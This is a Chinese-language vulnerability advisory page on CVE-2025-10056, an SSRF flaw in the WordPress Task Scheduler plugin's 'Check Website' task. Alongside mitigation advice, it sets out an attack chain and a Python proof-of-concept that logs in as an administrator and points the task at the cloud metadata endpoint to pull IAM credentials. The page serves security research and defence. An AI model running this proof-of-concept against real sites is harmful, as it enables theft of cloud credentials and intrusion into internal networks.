IPBUF安全漏洞报告
English
CVE-2025-10056 CVSS 4.4 中危

CVE-2025-10056:WordPress Task Scheduler插件SSRF漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-10056
漏洞类型
服务端请求伪造(SSRF)
CVSS评分
4.4 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WordPress Task Scheduler插件

相关标签

SSRF服务端请求伪造WordPressTask Scheduler插件漏洞CVE-2025-10056中等严重需要认证管理员权限Wordfence

漏洞概述

CVE-2025-10056是WordPress Task Scheduler插件中存在的一个服务端请求伪造(SSRF)漏洞。该插件是一款用于在WordPress网站中安排和管理定时任务的工具,允许管理员创建各种自动化任务。该漏洞影响该插件的所有1.6.3及以下版本。

该漏洞存在于插件的"Check Website"(检查网站)任务功能中。当管理员创建或配置一个"Check Website"类型的任务时,插件会向用户指定的URL发起HTTP请求以检查目标网站的状态。然而,该功能在处理用户输入的URL时缺乏充分的验证和过滤,导致攻击者可以构造恶意URL,使服务器向任意内部或外部地址发起请求。

由于该漏洞需要管理员级别(Administrator-level)的认证权限才能利用,因此攻击者首先需要获取目标WordPress站点的管理员账户访问权限。一旦获得该权限,攻击者就可以利用此SSRF漏洞扫描内部网络、访问云元数据服务(如AWS的169.254.169.254)、探测内网服务端口,甚至可能通过内部服务的漏洞进一步渗透。该漏洞的CVSS评分为4.4,属于中等严重级别,但由于其属于变更范围(Scope: Changed),影响范围可能超出插件本身,波及到服务器内部的其他服务和资源。

技术细节

该SSRF漏洞的技术原理如下:

1. **漏洞入口点**:Task Scheduler插件的"Check Website"任务类型允许管理员指定一个URL,插件将定期访问该URL以检查目标网站的可用性和响应状态。

2. **缺乏URL验证**:插件在处理用户输入的URL时,未对URL的目标地址进行充分的验证和过滤。具体来说,插件没有阻止以下类型的URL:
- 内部IP地址(如127.0.0.1、192.168.x.x、10.x.x.x等)
- 环回地址(localhost)
- 云元数据服务地址(如169.254.169.254)
- 非HTTP/HTTPS协议(如file://、gopher://等)

3. **服务端请求发起**:当任务被触发执行时,WordPress服务器端会使用服务器自身的网络环境向攻击者指定的URL发起HTTP请求。这意味着请求来源于Web应用服务器,而非客户端浏览器。

4. **利用方式**:攻击者作为管理员登录WordPress后台后,创建一个"Check Website"任务,将URL设置为内部服务的地址(如`http://169.254.169.254/latest/meta-data/`获取云实例元数据,或`http://127.0.0.1:8080/admin`访问内部管理面板)。服务器将响应内容返回或在内部进行处理,攻击者从而获取到内部网络的信息。

5. **变更范围影响**:由于CVSS向量中包含S:C(Scope Changed),该漏洞的影响超出了Task Scheduler插件本身,可能影响到运行WordPress的整个服务器环境以及内部网络中的其他服务。

攻击链分析

STEP 1
步骤1:获取管理员凭据
攻击者通过钓鱼、凭据填充、暴力破解或其他方式获取目标WordPress站点的管理员级别账户凭据。
STEP 2
步骤2:登录WordPress后台
使用获取的管理员凭据登录WordPress管理后台(/wp-admin/),确保具有足够的权限来创建和管理Task Scheduler任务。
STEP 3
步骤3:创建恶意"Check Website"任务
在Task Scheduler插件中创建一个新的"Check Website"类型任务,将目标URL设置为内部服务的地址,如云元数据服务(169.254.169.254)、内部管理面板或其他敏感内部资源。
STEP 4
步骤4:触发SSRF请求
任务执行后,WordPress服务器使用自身网络环境向攻击者指定的内部URL发起HTTP请求,绕过外部网络访问限制。
STEP 5
步骤5:收集内部信息
通过SSRF获取的响应内容,攻击者可以收集内部网络拓扑、云凭证、敏感服务信息等,为后续渗透攻击提供情报支持。
STEP 6
步骤6:横向移动
利用收集到的内部信息,攻击者可以尝试访问其他内部服务、利用已知漏洞或进行进一步的网络渗透,扩大攻击范围。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10056 - Task Scheduler Plugin SSRF PoC # This PoC demonstrates the SSRF vulnerability in the "Check Website" task feature import requests import json # Configuration TARGET_SITE = "http://target-wordpress-site.com" ADMIN_USERNAME = "admin" ADMIN_PASSWORD = "password123" SSRF_TARGET = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Step 1: Authenticate to WordPress as Administrator session = requests.Session() # Get login page and extract nonce login_page = session.get(f"{TARGET_SITE}/wp-login.php") # Extract authentication cookies and nonce values from the login page # Perform login login_data = { "log": ADMIN_USERNAME, "pwd": ADMIN_PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_SITE}/wp-admin/", "testcookie": "1" } response = session.post(f"{TARGET_SITE}/wp-login.php", data=login_data) # Verify login success if "wp-admin" not in response.url: print("[-] Login failed. Please check credentials.") exit(1) print("[+] Successfully logged in as Administrator") # Step 2: Navigate to Task Scheduler plugin and create a "Check Website" task # The plugin creates a task that triggers an HTTP request to the specified URL task_data = { "action": "task_scheduler_create_task", "task_type": "check_website", # The vulnerable "Check Website" task type "task_url": SSRF_TARGET, # Malicious URL targeting internal service "task_name": "System Health Check", "task_interval": "3600", # Run every hour "_wpnonce": "nonce_value_here" # WordPress nonce for CSRF protection } # Step 3: Submit the task creation request response = session.post( f"{TARGET_SITE}/wp-admin/admin.php?page=task-scheduler", data=task_data ) if response.status_code == 200: print("[+] Task created successfully") print("[+] The server will now make requests to:", SSRF_TARGET) print("[+] Check task logs for SSRF response data") else: print("[-] Failed to create task") # Alternative: Direct exploitation via crafted request # Some versions may allow direct task execution via AJAX ajax_data = { "action": "ts_action_check_website", "url": SSRF_TARGET, "_ajax_nonce": "nonce_value_here" } response = session.post( f"{TARGET_SITE}/wp-admin/admin-ajax.php", data=ajax_data ) print("[+] SSRF Response:", response.text)

影响范围

WordPress Task Scheduler插件 <= 1.6.3

防御指南

临时缓解措施
在等待官方补丁发布期间,建议采取以下临时缓解措施:1)限制WordPress管理员账户的访问,仅授予必要人员管理员权限;2)启用多因素认证(MFA)防止管理员凭据被盗;3)在服务器层面配置防火墙规则,阻止WordPress服务器进程对内部网络(127.0.0.0/8、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、169.254.0.0/16等)的出站访问;4)暂时禁用Task Scheduler插件中的"Check Website"任务功能;5)监控WordPress站点的异常网络活动和插件日志,及时发现可疑任务;6)定期审查已创建的任务列表,删除可疑的"Check Website"任务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表